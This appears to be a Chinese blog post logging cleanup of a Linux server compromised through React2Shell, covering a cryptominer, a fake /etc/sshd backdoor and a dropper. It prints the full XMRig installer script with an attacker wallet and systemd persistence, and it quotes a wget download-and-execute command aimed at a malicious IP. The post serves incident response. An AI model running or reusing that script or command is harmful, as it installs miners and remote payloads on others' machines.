修复React2Shell漏洞导致服务器权限泄露 之一

状况与这个相同: https://www.huntress.com/blog/peerblight-linux-backdoor-exploits-react2shell 在不能马上重装系统时,检查和临时修复的记录如下

一. 发现恶意脚本

发现CPU占用过高,找到恶意脚本

#!/bin/bash

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
SERVICE_NAME="system-update-service"
ARGS="--url pool.supportxmr.com:8080 --user 85UXW36JS78ZzZUw4XRJ1mHEsMAc6vHr2hBU7rvRv9y44Uk4Vo9fyq6LFDuckHZb2HTZpcYYaDdd73jS1oywAndGJxmKP9X --pass test --donate-level 0"
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"

# Determine binary path based on privileges
if [ "$(id -u)" -eq 0 ]; then
    INSTALL_DIR="/usr/share/updater"
    CONFIG_FILE="$INSTALL_DIR/miner.conf"
else
    INSTALL_DIR="$(pwd)"
    CONFIG_FILE="$(pwd)/miner.conf"
fi

BINARY_PATH="$INSTALL_DIR/$EXTRACT_DIR/xmrig"

# Function to create/update configuration file
save_config() {
    cat > "$CONFIG_FILE" <<EOF
BINARY_PATH=$BINARY_PATH
ARGS=$ARGS
SERVICE_NAME=$SERVICE_NAME
EOF
    echo "[*] Configuration saved to $CONFIG_FILE"
}

# Function to load configuration
load_config() {
    if [ -f "$CONFIG_FILE" ]; then
        source "$CONFIG_FILE"
        echo "[*] Configuration loaded from $CONFIG_FILE"
    fi
}

# First, check if root and move existing installation from pwd to /usr/share/updater
if [ "$(id -u)" -eq 0 ] && [ -d "$(pwd)/$EXTRACT_DIR" ] && [ ! -d "$INSTALL_DIR/$EXTRACT_DIR" ]; then
    echo "[*] Found existing installation in $(pwd). Moving to $INSTALL_DIR..."
    mkdir -p "$INSTALL_DIR"
    mv "$(pwd)/$EXTRACT_DIR" "$INSTALL_DIR/" 2>/dev/null || true
    if [ -f "$(pwd)/$TAR_FILE" ]; then
        rm -f "$(pwd)/$TAR_FILE"
    fi
    if [ -f "$(pwd)/miner.conf" ]; then
        mv "$(pwd)/miner.conf" "$INSTALL_DIR/miner.conf" 2>/dev/null || true
    fi
fi

# Check if already installed
ALREADY_INSTALLED=0
if [ -f "$BINARY_PATH" ]; then
    ALREADY_INSTALLED=1
    echo "[*] Installation detected. Loading existing configuration..."
    load_config
fi

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    echo "[*] Downloading xmrig..."
    
    # Extract in temp location first
    TEMP_DIR=$(mktemp -d)
    cd "$TEMP_DIR"
    
    curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    echo "[*] Extracting archive..."
    tar xvzf "$TAR_FILE"
    
    # Move to install directory if root
    if [ "$(id -u)" -eq 0 ]; then
        echo "[*] Moving to $INSTALL_DIR..."
        mkdir -p "$INSTALL_DIR"
        mv "$EXTRACT_DIR" "$INSTALL_DIR/"
    else
        # For non-root, move to current directory
        cd - > /dev/null
        mv "$TEMP_DIR/$EXTRACT_DIR" "$(pwd)/$EXTRACT_DIR"
    fi
    
    rm -rf "$TEMP_DIR"
    save_config
else
    echo "[*] Binary already exists at $BINARY_PATH"
fi

chmod +x "$BINARY_PATH"

# If already installed, update systemd service if it exists
if [ $ALREADY_INSTALLED -eq 1 ]; then
    echo "[*] Updating existing installation..."
    
    # Check if service exists and update it
    if [ -f "$SERVICE_FILE" ]; then
        echo "[*] Found existing systemd service. Updating..."
        
        # Stop the service before updating
        if systemctl is-active --quiet "$SERVICE_NAME"; then
            echo "[*] Stopping service..."
            systemctl stop "$SERVICE_NAME"
        fi
        
        # Update service with new arguments
        cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF
        
        systemctl daemon-reload
        echo "[*] Service configuration updated"
        
        # Restart the service
        systemctl start "$SERVICE_NAME"
        
        if systemctl is-active --quiet "$SERVICE_NAME"; then
            echo "[+] Service restarted successfully"
        fi
    else
        # Service doesn't exist yet, continue with normal installation
        echo "[*] No systemd service found. Proceeding with initial setup..."
        ALREADY_INSTALLED=0
    fi
fi

# Attempt systemd setup (for new installations)
if [ $ALREADY_INSTALLED -eq 0 ]; then
    INSTALLED_SYSTEMD=0
    if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
        echo "[*] Root privileges detected. Attempting systemd setup..."
        
        cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

        systemctl daemon-reload
        systemctl enable "$SERVICE_NAME"
        systemctl start "$SERVICE_NAME"
        
        if systemctl is-active --quiet "$SERVICE_NAME"; then
            echo "[+] Service started via systemd."
            INSTALLED_SYSTEMD=1
            save_config
        fi
    fi

    # Fallback to nohup
    if [ $INSTALLED_SYSTEMD -eq 0 ]; then
        echo "[*] Starting with nohup..."
        nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
        save_config
    fi
fi

这个脚本会在服务器上安装并运行 XMRig(一种常见的门罗币/Monero 挖矿软件),并试图通过伪装成系统服务来隐藏自己。

以下是该脚本对你系统的具体影响分析,以及彻底清除它的步骤。

1.1. 脚本行为分析 (它做了什么?)

  • 伪装性: 它将自己命名为 system-update-service(系统更新服务),试图让你在检查系统服务时以为它是合法的系统进程。
  • 资源消耗: 它下载并运行 xmrig。这会占用你服务器 100% 的 CPU 资源,导致服务器变得极慢、卡顿,甚至因过热而宕机。
  • 持久化(开机自启):
    • 如果你是 root 用户:它会在 /etc/systemd/system/ 下创建一个服务文件,确保每次服务器重启后,挖矿程序都会自动运行。
    • 如果不是 root 用户:它会使用 nohup 在后台静默运行。
  • 安装位置:
    • Root 用户: 文件被隐藏在 /usr/share/updater/ 目录下。
    • 普通用户: 文件在当前目录下。
  • 挖矿配置: 它连接到 pool.supportxmr.com 矿池,并将挖到的加密货币发送到攻击者的钱包地址(脚本中的 85UXW...)。

1.2. 清除步骤

请按照以下顺序在终端中执行命令。建议使用 root 权限或 sudo 执行。

第一步:停止并删除恶意服务

如果脚本是以 root 权限运行的,它注册了系统服务。我们需要先停止它。

# 停止伪装的服务
sudo systemctl stop system-update-service

# 禁止开机自启
sudo systemctl disable system-update-service

# 删除服务配置文件
sudo rm /etc/systemd/system/system-update-service.service

# 重载系统服务配置
sudo systemctl daemon-reload

第二步:杀死所有相关进程

即使服务停止了,后台可能还有残留进程(特别是如果它通过 nohup 运行的话)。

# 强制杀塞名为 xmrig 的进程
sudo pkill -9 xmrig

# 再次检查是否还有占用高 CPU 的进程
top
# (按 'q' 退出 top)

第三步:删除恶意文件

根据脚本逻辑,文件可能存在于两个位置。我们需要全部清理。

# 1. 清理 Root 安装目录 (脚本中定义的 INSTALL_DIR)
sudo rm -rf /usr/share/updater

# 2. 清理当前目录下的残留 (如果你是在某个特定目录下发现这个脚本的)
# 注意:请确保你在发现该脚本的目录下执行,或者手动检查该目录
rm -rf xmrig-6.24.0
rm -f kal.tar.gz
rm -f miner.conf
rm -f xmrig

第四步:检查定时任务 (Crontab)

很多此类脚本会通过定时任务(Crontab)来“复活”。如果它发现进程被杀了,会重新下载运行。

# 检查 root 用户的定时任务
sudo crontab -l

# 检查当前用户的定时任务
crontab -l

如果看到任何可疑的、带有 curlwget 或指向该脚本路径的任务,请使用 crontab -e 命令进入编辑模式并删除那一行。


1.3. 安全警告与后续建议 (非常重要)

这个脚本出现在服务器上,意味着服务器已经被入侵了。 仅仅删除脚本可能只是治标不治本。

攻击者通常通过以下方式进入:

  1. 弱密码: SSH 密码太简单,被暴力破解。
  2. 漏洞: 服务器上的某个软件(如 Redis, Docker, Web服务)存在未修复的漏洞。
  3. 泄露的密钥: 你的 SSH 密钥可能已泄露。

建议立即采取以下措施:

  1. 修改密码: 立即修改服务器的 root 密码和所有用户密码。
  2. 检查 SSH 授权: 查看 ~/.ssh/authorized_keys 文件。
    • 运行 cat ~/.ssh/authorized_keys
    • 如果发现任何你不认识的公钥,立即删除! 这是黑客留下的后门,方便他们无需密码再次登录。
  3. 配置防火墙: 确保只开放必要的端口(如 80, 443),限制 SSH (22) 端口的访问来源。
  4. 最安全的做法: 如果服务器上有重要数据,备份数据后,重装系统。因为你无法确定攻击者是否留下了其他更隐蔽的后门(如替换了系统二进制文件)。

二. 修改使用hosts文件,屏蔽 supportxmr.com

2.1. 追加规则

你可以直接复制以下命令在终端运行,这会自动将屏蔽规则追加到 hosts 文件末尾:

# 屏蔽主域名和脚本中使用的子域名
echo "127.0.0.1 pool.supportxmr.com" | sudo tee -a /etc/hosts
echo "127.0.0.1 supportxmr.com" | sudo tee -a /etc/hosts

2.2. 验证是否生效

添加完成后,你可以尝试 ping 这个域名。如果它返回的是 127.0.0.1,说明屏蔽成功。

ping pool.supportxmr.com

预期输出示例:

PING pool.supportxmr.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.034 ms

(只要看到 IP 是 127.0.0.1,就说明它无法连接到真实的矿池了)

2.3. ⚠️ 重要提示

  1. 这只是阻断,不是清除: 这样做可以防止数据传输出去,但如果挖矿进程(xmrig)还在运行,它仍然会尝试不断重连,这依然可能占用一定的 CPU 资源(虽然比全速挖矿要低)。请务必配合之前的清除步骤,将恶意文件彻底删除。
  2. DNS 缓存: 极少数情况下,系统可能会缓存旧的 DNS 结果。如果你发现它还在连,可以尝试重启服务器,或者重启网络服务。
  3. 其他矿池: 黑客可能会在脚本中更换其他矿池地址。修改 hosts 只能屏蔽当前已知的这个地址。最根本的解决办法还是修复系统漏洞(如加强 SSH 密码、配置防火墙)。

三. 清除可执行文件/etc/sshd

/etc/sshd 不是一个合法的 Linux 系统文件位置。

正常的 SSH 服务程序通常位于 /usr/sbin/sshd。位于 /etc/ 目录下的通常是配置文件(如 sshd_config),而不应该是可执行文件。

结论:这个 /etc/sshd 极有可能是黑客留下的后门(Backdoor)或者伪装成 SSH 服务的挖矿程序/木马。

以下是逐步分析该文件来源、性质以及它是如何进入你系统的技术手段:

3.1. 确认它不属于系统 (最直接的证据)

首先,我们需要确认这个文件不是通过正规渠道(如 apt/yum)安装的。

  • 如果你是 Debian/Ubuntu 系统:

    dpkg -S /etc/sshd
    

    预期结果: dpkg-query: no path found matching pattern /etc/sshd (这意味着包管理器根本不知道这个文件的存在)

  • 如果你是 CentOS/RedHat 系统:

    rpm -qf /etc/sshd
    

    预期结果: file /etc/sshd is not owned by any package

3.2. 静态分析:它到底是什么?

不要直接运行它!我们可以通过工具查看它的内部信息。

A. 查看文件类型

file /etc/sshd
  • 如果显示 ELF 64-bit LSB executable,说明它是一个二进制可执行程序(木马或挖矿软件)。
  • 如果显示 ASCII textshell script,它可能是一个恶意脚本。

B. 提取可读字符串 (关键步骤) 这能让你看到程序内部的文本,通常能发现IP地址、网址、挖矿配置或黑客留下的信息

strings /etc/sshd | grep -E "http|https|[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" | head -n 20
  • 看什么: 寻找类似 pool.supportxmr.com(之前的矿池)、奇怪的 IP 地址、xmrig 字样、或者 /bin/sh 等命令。
  • 注意: 如果输出很少或者是乱码,说明文件可能被“加壳”(Packed)了,这是恶意软件常用的隐藏手段。

C. 计算哈希值 (用于病毒库比对) 获取文件的指纹,去全球病毒库查询。

md5sum /etc/sshd
sha256sum /etc/sshd
  • 操作: 复制生成的 SHA256 值,打开 VirusTotal.com,在 “Search” 栏粘贴搜索。如果它是已知的病毒或挖矿木马,这里会直接告诉你。

3.3. 时间线取证:它是何时出现的?

这是找出“来源”最有效的方法。我们需要查看文件的创建/修改时间,然后去系统日志里对比那个时间点发生了什么。

A. 查看文件时间戳

stat /etc/sshd
  • 关注 ChangeModify 时间。记下这个精确的时间点(例如:2023-10-27 03:15:00)。

B. 对比系统安全日志 根据上面查到的时间,去翻看日志,看看那个时间点谁登录了系统,或者执行了什么命令

  • Ubuntu/Debian: /var/log/auth.log
  • CentOS/RHEL: /var/log/secure
# 假设文件修改时间是 10月27日 03:15,我们可以这样搜:
grep "Oct 27 03" /var/log/auth.log | grep "Accepted"
  • 分析: 如果你在那个时间点看到一个陌生的 IP 地址通过 SSH 登录成功(Accepted password/publickey),那个 IP 就是攻击来源

3.4. 动态分析:它在运行吗?

检查这个假冒文件是否正在运行,以及它在连接谁。

# 查看是否有进程在使用这个文件
lsof /etc/sshd

# 或者查看进程列表(注意区分 /usr/sbin/sshd 和 /etc/sshd)
ps -ef | grep sshd
  • 警惕: 真正的 SSH 服务是 /usr/sbin/sshd。如果你看到 /etc/sshd 在运行,立即记下它的 PID(进程ID)。

3.5. 清除与补救建议

既然你已经发现了这个文件,且之前发现了挖矿脚本,情况已经很明朗:这是一次典型的自动化入侵。

  1. 杀死进程: 如果它在运行,kill -9 <PID>
  2. 删除文件:
    # 为了防止它被锁定(chattr +i),先解锁
    sudo chattr -i /etc/sshd
    sudo rm -f /etc/sshd
    
  3. 检查启动项(非常重要): 黑客通常会把这个文件加入开机自启。检查 /etc/rc.local/etc/init.d/,或者 systemctl 服务。
    grep -r "/etc/sshd" /etc/systemd/system/
    grep -r "/etc/sshd" /etc/init.d/
    cat /etc/rc.local
    

总结

这个 /etc/sshd 是为了混淆视听。黑客希望当你用 ps 查看进程时,看到 sshd 以为是正常的系统服务从而忽略它。

强烈建议: 由于黑客已经能够将可执行文件写入 /etc/ 目录(这需要 Root 权限),说明你的系统 Root 权限已经彻底沦陷

虽然我们可以删除文件,但很难保证没有其他隐藏得更深的后门(例如替换了系统的 ls, ps, netstat 命令)。最安全、最彻底的方案是备份数据(仅备份代码和数据库,不要备份可执行文件),然后重装系统。

四. 进一步检查/etc/sshd

root@Server:/etc# grep -r "/etc/sshd" /etc/systemd/system/
/etc/systemd/system/system-sshd.service:ExecStart=/etc/sshd
root@Server:/etc# grep -r "/etc/sshd" /etc/init.d/
/etc/init.d/system-sshd:D="/etc/sshd"
root@Server:/etc# cat /etc/rc.local
#!/bin/bash
/etc/sshd &
exit 0

黑客为了防止你发现并删除病毒后它无法重启,在系统启动的三个不同层面都埋下了启动指令。只要漏掉一个,下次重启服务器,病毒就会“复活”。

以下是你的发现意味着什么,以及如何彻底清理:

4.1. 现状分析

  1. Systemd 服务 (/etc/systemd/system/system-sshd.service): 这是现代 Linux 系统主要的服务管理方式。黑客把它伪装成类似系统服务的名字。
  2. SysVinit 脚本 (/etc/init.d/system-sshd): 这是老式的启动脚本,用于兼容旧系统或作为备用启动手段。
  3. rc.local (/etc/rc.local): 这是系统启动最后阶段执行的脚本。黑客直接把 /etc/sshd & 写在这里,简单粗暴地强制后台运行。

4.2. 彻底清除步骤 (请按顺序执行)

请复制以下命令在终端中执行(需要 root 权限):

第一步:停止并禁用恶意服务

先让它停下来,并切断 Systemd 的启动链。

# 停止服务
systemctl stop system-sshd

# 禁用开机自启
systemctl disable system-sshd

# 杀死可能还在运行的进程 (强制)
pkill -9 -f "/etc/sshd"

第二步:清理 Systemd 服务文件

# 删除服务配置文件
rm -f /etc/systemd/system/system-sshd.service

# 重载配置,让系统知道服务没了
systemctl daemon-reload

第三步:清理 Init.d 脚本

# 删除 init.d 下的脚本
rm -f /etc/init.d/system-sshd

# (针对 Debian/Ubuntu 系统) 清理旧的启动链接
update-rc.d system-sshd remove 2>/dev/null || true

# (针对 CentOS/RHEL 系统)
chkconfig --del system-sshd 2>/dev/null || true

第四步:修复 /etc/rc.local

我们需要把那行恶意代码从文件中删掉,保留其他可能正常的内容(如果有的话)。

# 备份一下(虽然是中毒文件,但备份是个好习惯)
cp /etc/rc.local /etc/rc.local.bak

# 使用 sed 命令删除包含 "/etc/sshd" 的行
sed -i '/\/etc\/sshd/d' /etc/rc.local

# 检查一下是否清理干净
cat /etc/rc.local

确认输出中不再包含 /etc/sshd

第五步:删除核心恶意文件

这是最后一步,彻底删除那个伪装的可执行文件。

# 防止黑客加了“不可修改”属性 (chattr +i),先尝试解锁
chattr -i /etc/sshd

# 删除文件
rm -f /etc/sshd

验证清理结果

执行完上述步骤后,建议进行以下检查:

  1. 检查进程:

    ps -ef | grep sshd
    
    • 你应该只看到 /usr/sbin/sshd (正常的 SSH 服务),不应该再看到 /etc/sshd
  2. 检查文件是否存在:

    ls /etc/sshd
    
    • 应该提示 No such file or directory
  3. 重启验证 (强烈建议): 如果业务允许,执行 reboot 重启服务器。重启后再次检查进程,确保病毒没有“复活”。

再次警告

既然黑客已经修改了 /etc/rc.local/etc/init.d/,这再次证实了他们拥有完全的 Root 权限

  • 立即修改 Root 密码。
  • 检查是否有其他异常账户: 查看 /etc/passwd,看是否有你不认识的用户(特别是 UID 为 0 的用户)。
  • 检查 SSH Key: 再次强调,检查 ~/.ssh/authorized_keys,黑客非常喜欢在这里留后门。

五. 清除可疑账户admin

注意使用 usermod -L admin 锁定账户后,仍然可以通过密钥能登录

这是一个非常常见的安全误区。usermod -L (Lock) 的作用仅仅是在 /etc/shadow 文件中的密码哈希前加一个感叹号 !。这只禁用了密码登录

由于 SSH 密钥认证(Public Key Authentication)是绕过密码验证的,因此只要黑客把他的公钥放到了 admin 用户的 ~/.ssh/authorized_keys 文件里,他依然可以畅通无阻地进入系统。

如何彻底禁止 admin 用户登录?

针对你目前服务器被入侵的情况,建议使用以下任意一种(或组合)方法来彻底封禁该用户:

A. 修改 Shell 为 nologin(推荐)

这是最标准、最有效的禁用账户方法。它允许系统保留该用户的文件(以备取证),但禁止该用户获得任何 Shell 访问权限。

sudo usermod -s /sbin/nologin admin
  • 效果: 无论对方是用密码还是 SSH 密钥,连接时都会立刻被踢出,并显示 “This account is currently not available”。

B. 暴力清除 SSH 密钥(针对入侵场景)

既然你怀疑这个用户有问题,直接删除他的信任密钥库。

# 清空该用户的 authorized_keys
sudo > /home/admin/.ssh/authorized_keys

# 或者直接删除 .ssh 目录(更彻底)
sudo rm -rf /home/admin/.ssh

C. 在 SSH 配置中明确拒绝

修改 /etc/ssh/sshd_config 文件,添加黑名单。

  1. 编辑文件:sudo nano /etc/ssh/sshd_config
  2. 在文件末尾添加:
    DenyUsers admin
    
  3. 重启 SSH 服务:sudo systemctl restart sshd

总结建议

鉴于服务器之前发现了挖矿脚本和 /etc/sshd 后门:

  1. 立即执行方法一 (usermod -s /sbin/nologin admin)。
  2. 检查 admin 用户是否是黑客创建的: 如果你本来没有 admin 这个用户,或者你不使用它,建议直接删除:
    sudo userdel -r admin
    
    (注意:-r 会同时删除该用户的家目录文件,如果你需要保留文件取证,请先备份)

六. 安全警告处理

收到安全警告:

用户名
root
命令行
/bin/sh -c wget http://185.196.9.41:19191/uamd642 -O /tmp/um2 && chmod +x /tmp/um2 && /tmp/um2 && rm -f /tmp/um2
进程ID
556667
父进程ID
555041
进程链
-[729]  /bin/systemd-daemon --user
    -[555038]  /tmp/xxvvxx
        -[555039]  /tmp/xxvvxx
            -[555040]  /tmp/xxvvxx
                -[555041]  /tmp/xxvvxx
root@Server:~# ps -ef |grep 729
root         729       1  0 Dec06 ?        00:00:11 /bin/systemd-daemon --user
root      555038     729  0 Dec10 ?        00:00:00 [xxvvxx] <defunct>
root      563963  562517  0 10:23 pts/0    00:00:00 grep 729
r

这表明服务器上有一个母体病毒进程(PID 729),它正在不断地尝试从远程黑客服务器(185.196.9.41)下载新的病毒变种并执行。

核心问题分析:

  1. 伪装的母体: /bin/systemd-daemon 是一个伪装的恶意文件。正常的 Linux 系统中,systemd 的路径通常是 /lib/systemd/systemd/usr/lib/systemd/systemd,绝对不会在 /bin 下叫 systemd-daemon
  2. 进程链: 这个伪装进程 (PID 729) 衍生出了 xxvvxx (随机命名的恶意进程),然后 xxvvxx 调用 wget 下载新的木马。
  3. 持久化: PID 729 的父进程是 1 (init/systemd),且启动时间是 Dec 06,说明它已经作为系统服务运行了好几天了。

紧急处理步骤

请立即按顺序执行以下操作,切勿拖延

1. 处决母体进程

必须先杀掉这个伪装的 systemd-daemon,否则它会无限重启下载任务。

# 强制杀死 PID 729
kill -9 729

# 再次确认是否还有名为 systemd-daemon 的进程
ps -ef | grep systemd-daemon

2. 删除恶意母体文件

既然确认它是病毒,立即删除。

# 查看文件属性(可能会看到 immutable 属性)
lsattr /bin/systemd-daemon

# 解锁文件(如果被锁住的话)
chattr -i /bin/systemd-daemon

# 删除文件
rm -f /bin/systemd-daemon

3. 清理残留进程

xxvvxx 是衍生的子进程,也需要清理。

# 杀死所有名为 xxvvxx 的进程
pkill -9 xxvvxx

# 杀死所有名为 um2 的进程(这是下载下来的新病毒)
pkill -9 um2

4. 封锁恶意 IP

黑客的下载服务器是 185.196.9.41,在防火墙层面直接封死它。

# 使用 iptables 封禁出口和入口
iptables -I INPUT -s 185.196.9.41 -j DROP
iptables -I OUTPUT -d 185.196.9.41 -j DROP

5. 清理 /tmp 目录

病毒通过 wget 下载到了 /tmp 目录。虽然命令中有 rm -f,但为了保险,手动检查一下。

ls -al /tmp/
# 如果看到 um2, xxvvxx 或其他可疑文件,全部删除
rm -f /tmp/um2
rm -f /tmp/xxvvxx

溯源与根除 (如何防止复活)

既然 PID 729 的父进程是 1,说明它被配置成了开机自启的服务。你刚才删除了文件,但配置文件还在。

必须找到它是怎么启动的:

  1. 检查 Systemd 服务: 搜索包含该路径的服务文件:

    grep -r "/bin/systemd-daemon" /etc/systemd/system/
    grep -r "/bin/systemd-daemon" /usr/lib/systemd/system/
    

    如果找到(例如叫 system-daemon.service),请执行:

    systemctl stop <服务名>
    systemctl disable <服务名>
    rm <文件路径>
    systemctl daemon-reload
    
  2. 检查 Cron 定时任务: 黑客可能通过 Cron 每分钟检查一次母体是否存活。

    grep -r "systemd-daemon" /var/spool/cron/
    grep -r "185.196.9.41" /var/spool/cron/
    
  3. 检查 /etc/init.d/:

    ls -l /etc/init.d/ | grep systemd-daemon
    

总结

服务器目前处于**“僵尸网络肉鸡”**状态。

  • 之前的 xmrig 是挖矿。
  • /etc/sshd 是后门。
  • 现在的 /bin/systemd-daemon 是下载器/Dropper。

这说明黑客植入了多套恶意软件。再次强烈建议:在备份重要数据后,重装系统是唯一能确保 100% 安全的方案。 如果不能重装,请务必仔细执行上述所有清理步骤,并安装 ClamAV 等杀毒软件进行全盘扫描。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注